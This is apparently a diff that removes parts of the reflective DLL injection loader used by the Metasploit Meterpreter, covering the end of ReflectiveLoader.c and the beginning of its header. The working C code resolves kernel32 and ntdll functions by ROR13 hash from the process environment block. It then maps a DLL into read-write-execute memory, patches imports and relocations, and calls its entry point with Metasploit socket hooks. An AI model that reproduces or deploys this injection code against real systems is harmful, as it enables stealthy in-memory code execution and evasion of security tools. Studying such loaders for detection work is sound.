|
||||||
uiValueC = ror( (DWORD)uiValueC );
|
|
||||||
// normalize to uppercase if the module name is in lowercase
|
|
||||||
if( *((BYTE *)uiValueB) >= 'a' )
|
|
||||||
uiValueC += *((BYTE *)uiValueB) - 0x20;
|
|
||||||
else
|
|
||||||
uiValueC += *((BYTE *)uiValueB);
|
|
||||||
uiValueB++;
|
|
||||||
} while( --usCounter );
|
|
||||||
|
|
||||||
// compare the hash with that of kernel32.dll
|
|
||||||
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
|
|
||||||
{
|
|
||||||
// get this modules base address
|
|
||||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
|
||||||
|
|
||||||
// get the VA of the modules NT Header
|
|
||||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
|
||||||
|
|
||||||
// uiNameArray = the address of the modules export directory entry
|
|
||||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
|
||||||
|
|
||||||
// get the VA of the export directory
|
|
||||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
|
||||||
|
|
||||||
// get the VA for the array of name pointers
|
|
||||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
|
||||||
|
|
||||||
// get the VA for the array of name ordinals
|
|
||||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
|
||||||
|
|
||||||
usCounter = 3;
|
|
||||||
#ifdef ENABLE_STOPPAGING
|
|
||||||
usCounter++;
|
|
||||||
#endif
|
|
||||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
|
||||||
usCounter++;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// loop while we still have imports to find
|
|
||||||
while( usCounter > 0 )
|
|
||||||
{
|
|
||||||
// compute the hash values for this function name
|
|
||||||
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
|
||||||
|
|
||||||
// if we have found a function we want we get its virtual address
|
|
||||||
if( dwHashValue == LOADLIBRARYA_HASH
|
|
||||||
|| dwHashValue == GETPROCADDRESS_HASH
|
|
||||||
|| dwHashValue == VIRTUALALLOC_HASH
|
|
||||||
#ifdef ENABLE_STOPPAGING
|
|
||||||
|| dwHashValue == VIRTUALLOCK_HASH
|
|
||||||
#endif
|
|
||||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
|
||||||
|| dwHashValue == OUTPUTDEBUG_HASH
|
|
||||||
#endif
|
|
||||||
)
|
|
||||||
{
|
|
||||||
// get the VA for the array of addresses
|
|
||||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
|
||||||
|
|
||||||
// use this functions name ordinal as an index into the array of name pointers
|
|
||||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
|
||||||
|
|
||||||
// store this functions VA
|
|
||||||
if( dwHashValue == LOADLIBRARYA_HASH )
|
|
||||||
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
|
||||||
else if( dwHashValue == GETPROCADDRESS_HASH )
|
|
||||||
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
|
||||||
else if( dwHashValue == VIRTUALALLOC_HASH )
|
|
||||||
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
|
||||||
#ifdef ENABLE_STOPPAGING
|
|
||||||
else if( dwHashValue == VIRTUALLOCK_HASH )
|
|
||||||
pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
|
||||||
#endif
|
|
||||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
|
||||||
else if( dwHashValue == OUTPUTDEBUG_HASH )
|
|
||||||
pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// decrement our counter
|
|
||||||
usCounter--;
|
|
||||||
}
|
|
||||||
|
|
||||||
// get the next exported function name
|
|
||||||
uiNameArray += sizeof(DWORD);
|
|
||||||
|
|
||||||
// get the next exported function name ordinal
|
|
||||||
uiNameOrdinals += sizeof(WORD);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
|
|
||||||
{
|
|
||||||
// get this modules base address
|
|
||||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
|
||||||
|
|
||||||
// get the VA of the modules NT Header
|
|
||||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
|
||||||
|
|
||||||
// uiNameArray = the address of the modules export directory entry
|
|
||||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
|
||||||
|
|
||||||
// get the VA of the export directory
|
|
||||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
|
||||||
|
|
||||||
// get the VA for the array of name pointers
|
|
||||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
|
||||||
|
|
||||||
// get the VA for the array of name ordinals
|
|
||||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
|
||||||
|
|
||||||
usCounter = 1;
|
|
||||||
|
|
||||||
// loop while we still have imports to find
|
|
||||||
while( usCounter > 0 )
|
|
||||||
{
|
|
||||||
// compute the hash values for this function name
|
|
||||||
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
|
||||||
|
|
||||||
// if we have found a function we want we get its virtual address
|
|
||||||
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
|
||||||
{
|
|
||||||
// get the VA for the array of addresses
|
|
||||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
|
||||||
|
|
||||||
// use this functions name ordinal as an index into the array of name pointers
|
|
||||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
|
||||||
|
|
||||||
// store this functions VA
|
|
||||||
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
|
||||||
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
|
||||||
|
|
||||||
// decrement our counter
|
|
||||||
usCounter--;
|
|
||||||
}
|
|
||||||
|
|
||||||
// get the next exported function name
|
|
||||||
uiNameArray += sizeof(DWORD);
|
|
||||||
|
|
||||||
// get the next exported function name ordinal
|
|
||||||
uiNameOrdinals += sizeof(WORD);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// we stop searching when we have found everything we need.
|
|
||||||
if( pLoadLibraryA
|
|
||||||
&& pGetProcAddress
|
|
||||||
&& pVirtualAlloc
|
|
||||||
#ifdef ENABLE_STOPPAGING
|
|
||||||
&& pVirtualLock
|
|
||||||
#endif
|
|
||||||
&& pNtFlushInstructionCache
|
|
||||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
|
||||||
&& pOutputDebug
|
|
||||||
#endif
|
|
||||||
)
|
|
||||||
break;
|
|
||||||
|
|
||||||
// get the next entry
|
|
||||||
uiValueA = DEREF( uiValueA );
|
|
||||||
}
|
|
||||||
|
|
||||||
// STEP 2: load our image into a new permanent location in memory...
|
|
||||||
|
|
||||||
// get the VA of the NT Header for the PE to be loaded
|
|
||||||
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
|
||||||
|
|
||||||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
|
||||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
|
||||||
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
|
||||||
|
|
||||||
#ifdef ENABLE_STOPPAGING
|
|
||||||
// prevent our image from being swapped to the pagefile
|
|
||||||
pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// we must now copy over the headers
|
|
||||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
|
||||||
uiValueB = uiLibraryAddress;
|
|
||||||
uiValueC = uiBaseAddress;
|
|
||||||
|
|
||||||
while( uiValueA-- )
|
|
||||||
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
|
|
||||||
|
|
||||||
// STEP 3: load in all of our sections...
|
|
||||||
|
|
||||||
// uiValueA = the VA of the first section
|
|
||||||
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
|
|
||||||
|
|
||||||
// itterate through all sections, loading them into memory.
|
|
||||||
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
|
||||||
while( uiValueE-- )
|
|
||||||
{
|
|
||||||
// uiValueB is the VA for this section
|
|
||||||
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
|
|
||||||
|
|
||||||
// uiValueC if the VA for this sections data
|
|
||||||
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
|
|
||||||
|
|
||||||
// copy the section over
|
|
||||||
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
|
||||||
|
|
||||||
while( uiValueD-- )
|
|
||||||
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
|
|
||||||
|
|
||||||
// get the VA of the next section
|
|
||||||
uiValueA += sizeof( IMAGE_SECTION_HEADER );
|
|
||||||
}
|
|
||||||
|
|
||||||
// STEP 4: process our images import table...
|
|
||||||
|
|
||||||
// uiValueB = the address of the import directory
|
|
||||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
|
||||||
|
|
||||||
// we assume there is an import table to process
|
|
||||||
// uiValueC is the first entry in the import table
|
|
||||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
|
||||||
|
|
||||||
// iterate through all imports until a null RVA is found (Characteristics is mis-named)
|
|
||||||
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
|
|
||||||
{
|
|
||||||
OUTPUTDBG("Loading library: ");
|
|
||||||
OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
|
|
||||||
OUTPUTDBG("\n");
|
|
||||||
|
|
||||||
// use LoadLibraryA to load the imported module into memory
|
|
||||||
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
|
|
||||||
|
|
||||||
if ( !uiLibraryAddress )
|
|
||||||
{
|
|
||||||
OUTPUTDBG("Loading library FAILED\n");
|
|
||||||
|
|
||||||
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
// uiValueD = VA of the OriginalFirstThunk
|
|
||||||
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
|
|
||||||
|
|
||||||
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
|
||||||
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
|
|
||||||
|
|
||||||
// itterate through all imported functions, importing by ordinal if no name present
|
|
||||||
while( DEREF(uiValueA) )
|
|
||||||
{
|
|
||||||
// sanity check uiValueD as some compilers only import by FirstThunk
|
|
||||||
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
|
|
||||||
{
|
|
||||||
// get the VA of the modules NT Header
|
|
||||||
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
|
||||||
|
|
||||||
// uiNameArray = the address of the modules export directory entry
|
|
||||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
|
||||||
|
|
||||||
// get the VA of the export directory
|
|
||||||
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
|
||||||
|
|
||||||
// get the VA for the array of addresses
|
|
||||||
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
|
||||||
|
|
||||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
|
||||||
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
|
|
||||||
|
|
||||||
// patch in the address for this imported function
|
|
||||||
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
// get the VA of this functions import by name struct
|
|
||||||
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
|
|
||||||
|
|
||||||
OUTPUTDBG("Resolving function: ");
|
|
||||||
OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
|
|
||||||
OUTPUTDBG("\n");
|
|
||||||
|
|
||||||
// use GetProcAddress and patch in the address for this imported function
|
|
||||||
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
|
|
||||||
}
|
|
||||||
// get the next imported function
|
|
||||||
uiValueA += sizeof( ULONG_PTR );
|
|
||||||
if( uiValueD )
|
|
||||||
uiValueD += sizeof( ULONG_PTR );
|
|
||||||
}
|
|
||||||
|
|
||||||
// get the next import
|
|
||||||
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
|
||||||
}
|
|
||||||
|
|
||||||
// STEP 5: process all of our images relocations...
|
|
||||||
|
|
||||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
|
||||||
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
|
||||||
|
|
||||||
// uiValueB = the address of the relocation directory
|
|
||||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
|
|
||||||
|
|
||||||
// check if their are any relocations present
|
|
||||||
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
|
|
||||||
{
|
|
||||||
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
|
||||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
|
||||||
|
|
||||||
// and we itterate through all entries...
|
|
||||||
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
|
|
||||||
{
|
|
||||||
// uiValueA = the VA for this relocation block
|
|
||||||
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
|
|
||||||
|
|
||||||
// uiValueB = number of entries in this relocation block
|
|
||||||
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
|
|
||||||
|
|
||||||
// uiValueD is now the first entry in the current relocation block
|
|
||||||
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
|
||||||
|
|
||||||
// we itterate through all the entries in the current block...
|
|
||||||
while( uiValueB-- )
|
|
||||||
{
|
|
||||||
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
|
||||||
// we dont use a switch statement to avoid the compiler building a jump table
|
|
||||||
// which would not be very position independent!
|
|
||||||
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
|
|
||||||
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
|
||||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
|
|
||||||
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
|
||||||
#ifdef WIN_ARM
|
|
||||||
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
|
||||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
|
|
||||||
{
|
|
||||||
register DWORD dwInstruction;
|
|
||||||
register DWORD dwAddress;
|
|
||||||
register WORD wImm;
|
|
||||||
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
|
||||||
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
|
|
||||||
// flip the words to get the instruction as expected
|
|
||||||
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
|
||||||
// sanity chack we are processing a MOV instruction...
|
|
||||||
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
|
|
||||||
{
|
|
||||||
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
|
||||||
wImm = (WORD)( dwInstruction & 0x000000FF);
|
|
||||||
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
|
||||||
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
|
||||||
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
|
||||||
// apply the relocation to the target address
|
|
||||||
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
|
|
||||||
// now create a new instruction with the same opcode and register param.
|
|
||||||
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
|
|
||||||
// patch in the relocated address...
|
|
||||||
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
|
||||||
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
|
||||||
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
|
||||||
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
|
||||||
// now flip the instructions words and patch back into the code...
|
|
||||||
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
|
||||||
}
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
|
|
||||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
|
||||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
|
|
||||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
|
||||||
|
|
||||||
// get the next entry in the current relocation block
|
|
||||||
uiValueD += sizeof( IMAGE_RELOC );
|
|
||||||
}
|
|
||||||
|
|
||||||
// get the next entry in the relocation directory
|
|
||||||
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// STEP 6: call our images entry point
|
|
||||||
|
|
||||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
|
||||||
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
|
|
||||||
|
|
||||||
OUTPUTDBG("Flushing the instruction cache");
|
|
||||||
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
|
||||||
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
|
|
||||||
|
|
||||||
// call our respective entry point, fudging our hInstance value
|
|
||||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
|
||||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
|
||||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
|
|
||||||
#else
|
|
||||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
|
||||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
|
||||||
return uiValueA;
|
|
||||||
}
|
|
||||||
//===============================================================================================//
|
|
||||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
|
||||||
|
|
||||||
// you must implement this function...
|
|
||||||
extern DWORD DLLEXPORT Init( SOCKET socket );
|
|
||||||
|
|
||||||
BOOL MetasploitDllAttach( SOCKET socket )
|
|
||||||
{
|
|
||||||
Init( socket );
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
|
|
||||||
BOOL MetasploitDllDetach( DWORD dwExitFunc )
|
|
||||||
{
|
|
||||||
switch( dwExitFunc )
|
|
||||||
{
|
|
||||||
case EXITFUNC_SEH:
|
|
||||||
SetUnhandledExceptionFilter( NULL );
|
|
||||||
break;
|
|
||||||
case EXITFUNC_THREAD:
|
|
||||||
ExitThread( 0 );
|
|
||||||
break;
|
|
||||||
case EXITFUNC_PROCESS:
|
|
||||||
ExitProcess( 0 );
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
|
|
||||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
|
||||||
{
|
|
||||||
BOOL bReturnValue = TRUE;
|
|
||||||
|
|
||||||
switch( dwReason )
|
|
||||||
{
|
|
||||||
case DLL_METASPLOIT_ATTACH:
|
|
||||||
bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
|
|
||||||
break;
|
|
||||||
case DLL_METASPLOIT_DETACH:
|
|
||||||
bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
|
|
||||||
break;
|
|
||||||
case DLL_QUERY_HMODULE:
|
|
||||||
if( lpReserved != NULL )
|
|
||||||
*(HMODULE *)lpReserved = hAppInstance;
|
|
||||||
break;
|
|
||||||
case DLL_PROCESS_ATTACH:
|
|
||||||
hAppInstance = hinstDLL;
|
|
||||||
break;
|
|
||||||
case DLL_PROCESS_DETACH:
|
|
||||||
case DLL_THREAD_ATTACH:
|
|
||||||
case DLL_THREAD_DETACH:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return bReturnValue;
|
|
||||||
}
|
|
||||||
|
|
||||||
#endif
|
|
||||||
//===============================================================================================//
|
|
||||||
|
|
@ -1,223 +0,0 @@
|
||||||
//===============================================================================================//
|
|
||||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
|
||||||
// All rights reserved.
|
|
||||||
//
|
|
||||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
|
||||||
// provided that the following conditions are met:
|
|
||||||
//
|
|
||||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer.
|
|
||||||
//
|
|
||||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
|
||||||
// with the distribution.
|
|
||||||
//
|
|
||||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
|
||||||
// endorse or promote products derived from this software without specific prior written permission.
|
|
||||||
//
|
|
||||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
|
||||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
|
||||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
|
||||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
|
||||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
|
||||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
|
||||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
|
||||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
|
||||||
// POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
//===============================================================================================//
|
|
||||||
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
|
||||||
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
|
||||||
//===============================================================================================//
|
|
||||||
#define WIN32_LEAN_AND_MEAN
|
|
||||||
#include <windows.h>
|
|
||||||
#include <Winsock2.h>
|
|
||||||
#include <intrin.h>
|
|
||||||
|
|
||||||
#include "ReflectiveDLLInjection.h"
|
|
||||||
|
|
||||||
// Enable this define to turn on OutputDebugString support
|
|
||||||
//#define ENABLE_OUTPUTDEBUGSTRING 1
|
|
||||||
|
|
||||||
// Enable this define to turn on locking of memory to prevent paging
|
|
||||||
#define ENABLE_STOPPAGING 1
|
|
||||||
|
|
||||||
#define EXITFUNC_SEH 0xEA320EFE
|
|
||||||
#define EXITFUNC_THREAD 0x0A2A1DE0
|
|
||||||
#define EXITFUNC_PROCESS 0x56A2B5F0
|
|
||||||
|
|
||||||
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
|
|
||||||
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
|
|
||||||
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
|
|
||||||
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
|
|
||||||
|
|
||||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
|
||||||
#define NTDLLDLL_HASH 0x3CFA685D
|
|
||||||
|
|
||||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
|
||||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
|
||||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
|
||||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
|
||||||
|
|
||||||
#ifdef ENABLE_STOPPAGING
|
|
||||||
typedef LPVOID (WINAPI * VIRTUALLOCK)( LPVOID, SIZE_T );
|
|
||||||
#define VIRTUALLOCK_HASH 0x0EF632F2
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
|
||||||
typedef LPVOID (WINAPI * OUTPUTDEBUG)( LPCSTR );
|
|
||||||
#define OUTPUTDEBUG_HASH 0x470D22BC
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
|
||||||
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
|
||||||
|
|
||||||
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
|
||||||
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
|
||||||
#define ARM_MOVW 0xF2400000
|
|
||||||
#define ARM_MOVT 0xF2C00000
|
|
||||||
|
|
||||||
#define HASH_KEY 13
|
|
||||||
//===============================================================================================//
|
|
||||||
#pragma intrinsic( _rotr )
|
|
||||||
|
|
||||||
__forceinline DWORD ror( DWORD d )
|
|
||||||
{
|
|
||||||
return _rotr( d, HASH_KEY );
|
|
||||||
}
|
|
||||||
|
|
||||||
